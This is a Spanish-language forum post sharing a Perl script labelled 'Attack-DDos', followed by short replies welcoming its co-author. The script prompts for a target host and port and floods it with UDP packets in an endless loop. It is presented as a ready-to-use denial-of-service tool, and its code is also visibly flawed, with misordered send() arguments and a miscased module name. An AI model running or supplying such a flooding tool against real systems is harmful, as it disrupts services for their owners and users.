Bueno Les dejo Este Perl Simple Creado Por Karol y Por Mi..
Como Para que Vallan conosiendola #;Ka]R[oL;X
Espero Les Guste, Y Bueno Una Bienvenida Para ella, Une Nueva apertura a el conosimiento Informatico
(http://gyazo.com/f50c906cd59aa57fad5508c56b6c19e5.png?1359942327)
#!/usr/bin/perl
print q(
##############################################################
# __ __ __ __ #
# / / / /___ ____/ /__ ______________ ____/ /__ #
# / / / / __ \/ __ / _ \/ ___/ ___/ __ \/ __ / _ \ #
# / /_/ / / / / /_/ / __/ / / /__/ /_/ / /_/ / __/ #
# \____/_/ /_/\__,_/\___/_/ \___/\____/\__,_/\___/ #
# #
# ------------------------------- #
# - Attack-DDos - #
# ------------------------------- #
# Creado Por #;Ka]R[oL;X y -|[Xx-Ma[y]kO-xX]|- #
##############################################################
);
use io::socket;
print "Host: ";
chop ($host = <stdin>);
print "Port: ";
chop ($port = <stdin>);
{
$sock = IO::Socket::INET->new (
PeerAddr => $host,
PeerPort => $port,
Proto => 'udp') || die "$! Error! ha introducido algun dato incorrecto, vuelva a intentarlo";
}
packets:
while (1) {
$size = rand() * 30000000000000 * 30000000;
print ("$host:$port Packet size: $size\n");
send($sock, 0, $size);
}
De a poco Se va cresiendo...
buen aporte bro y bienvenida a karol y a vos.
buen aporte +1karma
por cierto #;Ka]R[oL;X no se puede acceder a su perfil.
sugierele que se presente así la conocen todos.
saludos!
Muchas Gracias! , Ahora hablo con karol y le Aviiso! :B